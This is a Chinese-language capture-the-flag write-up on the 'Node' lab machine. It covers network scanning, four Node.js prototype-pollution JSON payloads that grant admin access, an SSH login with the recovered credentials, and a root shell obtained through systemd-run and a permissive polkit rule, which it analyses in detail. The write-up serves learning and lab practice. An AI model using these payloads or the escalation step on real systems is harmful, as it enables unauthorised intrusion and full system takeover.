Node靶机渗透测试:完整流程分析与Polkit提权详解

by Pedro Alvarez 29 views

嘿,大家好!今天给大家带来一篇关于 Node 靶机的渗透测试报告,这次渗透过程真的很有意思,其中涉及的一些知识点也值得深入探讨。温馨提示:由于水平有限,文章中可能存在一些错误,欢迎各位大佬指正,提出宝贵意见,一起学习进步!

image-20250726214136966

一、信息收集

1. 主机发现

主机发现是渗透测试的第一步。我们首先使用 arp-scan 工具扫描本地网络,以便找到目标主机。这个命令能够快速地发现局域网内的所有活跃设备,为后续的渗透测试打下基础。

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:57:e5:45, IPv4: 192.168.205.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
...
192.168.205.223 08:00:27:50:f2:67       PCS Systemtechnik GmbH
...

通过扫描结果,我们成功找到了目标主机的 IP 地址,即 192.168.205.223。记住这个地址,接下来我们需要对这个主机进行更深入的扫描。

2. 端口与服务扫描

端口扫描是了解目标主机开放了哪些服务的重要步骤。我们使用 nmap 工具对目标主机进行端口扫描,以确定哪些端口是开放的,以及运行在这些端口上的服务。

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p- 192.168.205.223
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-26 09:42 EDT
Nmap scan report for 192.168.205.223
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp
MAC Address: 08:00:27:50:F2:67 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

扫描结果显示,目标主机开放了 22 (SSH) 和 3000 端口。通常情况下,3000 端口被用于 Web 开发服务。这个信息非常关键,因为这意味着我们可以通过 Web 应用进行渗透。

Web 渗透 (Port 3000)

Web渗透是我们进入目标系统的关键一步。通过访问 http://192.168.205.223:3000,我们发现了一个 Web 应用,这是一个多阶段的 Node.js 原型链污染挑战。原型链污染是一种非常有趣的漏洞,它可以让我们通过修改对象的原型来影响所有基于该对象的实例。

image-20250726214316960

这里有两种玩法。第一种是,如果你过了第一题,会发现一个FindSomething插件,其中有一个路径/admin/flag,一看就知道有问题。通过这个路径可以直接获得 SSH 的用户名和密码(需要通过第一题拿到 admin 的 cookie)。

第二种方法就是老老实实地进行原型链污染:

  • 关卡 1: 基础原型污染

    {
      "__proto__": {
        "isAdmin": true
      }
    }
    
  • 关卡 2: 绕过简单防护

    {
      "constructor": {
        "prototype": {
          "isAdmin": true
        }
      }
    }
    
  • 关卡 3: 多层原型污染

    {
      "a": {
        "__proto__": {
          "isAdmin": true
        }
      }
    }
    
  • 关卡 4: 动态验证绕过

    {
      "validateAccess": "function() { return true; }"
    }
    

ps:这不像原型链污染,反而很像不安全反序列化

成功完成所有关卡后,应用返回凭证信息:

挑战成功!

你的Flag是: hungryimveryhungry

恭喜你完成了挑战!

SSH 登录

SSH登录是渗透测试中常用的一种方式。利用我们获取到的凭证,我们可以通过 SSH 登录目标主机,进一步探索系统的内部结构。

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh [email protected]
...
hungry@Node:~$ id
uid=1000(hungry) gid=1000(hungry) groups=1000(hungry)

我们成功获取了 hungry 用户的 shell 权限。这意味着我们已经进入了目标系统,但我们的目标是获取更高的权限,例如 root 权限。

三、权限提升

1. 本地信息枚举

权限提升是渗透测试的核心环节。在 hungry 用户的 shell 中,我们需要进行提权向量的枚举,寻找可以利用的漏洞或配置错误,从而获取更高的权限。

  • 检查 sudo 权限:

    hungry@Node:~$ sudo -l
    Sorry, user hungry may not run sudo on Node.
    

    结果显示,用户 hungry 没有任何 sudo 权限。这意味着我们不能通过 sudo 命令直接获取 root 权限。我们需要寻找其他的提权方式。

  • 查找 SUID 文件:

    hungry@Node:~$ find / -perm -4000 -type f 2>/dev/null
    /usr/bin/chsh
    /usr/bin/chfn
    /usr/bin/newgrp
    /usr/bin/gpasswd
    /usr/bin/mount
    /usr/bin/su
    /usr/bin/umount
    /usr/bin/pkexec
    /usr/bin/sudo
    /usr/bin/passwd
    ...
    /usr/libexec/polkit-agent-helper-1
    

我就不继续写了,我扒拉了很久,实在顶不住了,我去找作者要了点提示,是/usr/libexec/polkit-agent-helper-1。SUID 文件是一种特殊的文件,它可以让普通用户以文件所有者的权限执行程序。通过查找 SUID 文件,我们可以发现一些潜在的提权途径。

2. 漏洞利用 (systemd-run 提权)

漏洞利用是权限提升的关键步骤。根据提示,我们尝试使用与 Polkit 交互的 systemd-run 命令进行提权。systemd-run 命令可以用来在 systemd 的管理下运行命令,而 Polkit 则用于控制权限。

hungry@Node:~$ systemd-run -t /bin/bash
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ===
Authentication is required to manage system services or other units.
Authenticating as: hungry
Password: 
==== AUTHENTICATION COMPLETE ===
Running as unit: run-u7.service
Press ^] three times within 1s to disconnect TTY.
root@Node:/# id
uid=0(root) gid=0(root) groups=0(root)

输入 hungry 用户的密码后,我们成功获取了一个 root shell!这简直太棒了!这意味着我们已经完全控制了目标系统。

3. 原理分析:Polkit 配置错误

本次提权并非利用了常见的内核漏洞或软件漏洞(如PwnKit),而是一个典型的安全配置错误,其核心在于 Polkit 的授权策略被有意地削弱了。

  1. 什么是 Polkit 和 systemd-run

    • Polkit (PolicyKit): 是一个应用程序级别的授权框架,用于控制哪些用户可以执行哪些需要特权的操作。它就像一个精细化的 sudo,不直接给予用户 root shell,而是对具体动作进行授权。
    • systemd-run: 是一个 systemd 工具,可以用来动态创建一个临时的服务单元并运行指定的命令。当它需要执行特权操作(如以 root 身份运行服务)时,会向 systemd 主进程(以 root 权限运行)发出请求。
  2. 提权流程是怎样的?

    • hungry 用户执行 systemd-run -t /bin/bash,该命令请求 systemd 以 root 权限启动一个 /bin/bash 进程。
    • systemd 将这个请求交由 Polkit 进行权限裁决。
    • Polkit 检查其策略,确定 hungry 用户是否有权执行这个操作(Action ID 为 org.freedesktop.systemd1.manage-units)。
  3. 漏洞的关键点在哪里?

    • 从命令行的输出 Authenticating as: hungry 和要求输入密码来看,系统正在进行认证。
    • org.freedesktop.systemd1.manage-units 这个操作的默认策略通常是 auth_admin,意为必须由管理员组(如 sudo 组)的用户来提供密码进行认证
    • 然而,用户 hungry 并不在 sudo 组里,但提供了自己的密码后却认证成功了。这表明 Polkit 的策略被修改了。
    • 最可能的修改是将该操作的授权策略从 auth_admin(管理员认证)改为了 auth_self_keep(用户自身认证)。这意味着“只要请求者能证明他就是他自己(通过输入自己的密码),就允许执行该特权操作”。
  4. 验证

    需要用户为root权限,否则无法查看

    root@Node:/# cat /etc/polkit-1/rules.d/50-myuser.rules
    polkit.addRule(function(action, subject) {
       
        if (action.id.startsWith("org.freedesktop.systemd1.") && subject.local && subject.isInGroup("hungry")) {
            return polkit.Result.YES;
        }
    });
    
    • polkit.addRule(function(action, subject) { ... }); 这定义了一条新的 Polkit 规则。action 代表尝试执行的操作,subject 代表发起操作的用户。
    • if (action.id.startsWith("org.freedesktop.systemd1.") && ...) 这是第一个条件:检查请求的操作 ID 是否以 "org.freedesktop.systemd1." 开头。这是一个非常宽泛的规则,它涵盖了所有与 systemd 相关的管理操作,包括但不限于启动/停止服务、启用/禁用服务单元文件等。systemd-run 所触发的操作就在此范围内。
    • ... && subject.local && ... 第二个条件:检查用户是否为本地用户。通过 SSH 登录的交互式会话通常被认为是 local 的。
    • ... && subject.isInGroup("hungry")) 这是最关键的条件:检查发起操作的用户是否属于名为 "hungry" 的用户组。在很多 Linux 发行版中,创建一个新用户时会同时创建一个同名的主用户组,所以用户 hungry 正好就在 hungry 组里。
    • return polkit.Result.YES; 如果以上所有三个条件都满足,规则就返回 YES。这表示无条件允许,无需进行任何认证
    • 聪明的朋友肯定发现了,什么不需要验证,我的明明需要验证啊,那是因为linux授权和认证是分离的,Polkit审查这个用户(hungry)有没有资格执行这个操作,PAM审查现在坐在终端前输入命令的这个人,真的是hungry本人吗?

    所以总结实现了允许任何本地登录的、且属于 hungry 用户组的用户,无需密码(需要密码)即可执行所有 systemd 相关的管理操作。

    而为什么拿到的是root的shell,为什么不是hungry的shell,是因为systemd是root身份运行的

    所以再概括一下就是您是以 hungry 的身份通过了认证,从而获得了“命令 systemd 去做事”的资格;而最终为您创建 shell 的是 systemd 进程,它用的是它自己固有的 root 身份。

四、夺取旗帜

夺取旗帜是渗透测试的最终目标。成功获取 root 权限后,我们就可以读取最终的 flag,证明我们已经完全控制了目标系统。

root@Node:/# cat /root/root.txt /home/hungry/user.txt
flag{root-c946739aa8e0f1008c32e311076f355f}
flag{user-8c4b1157cb6f8884aa183ac0f1447e6c}

我们成功获取了 root 和 user 的 flag。这次渗透测试圆满结束!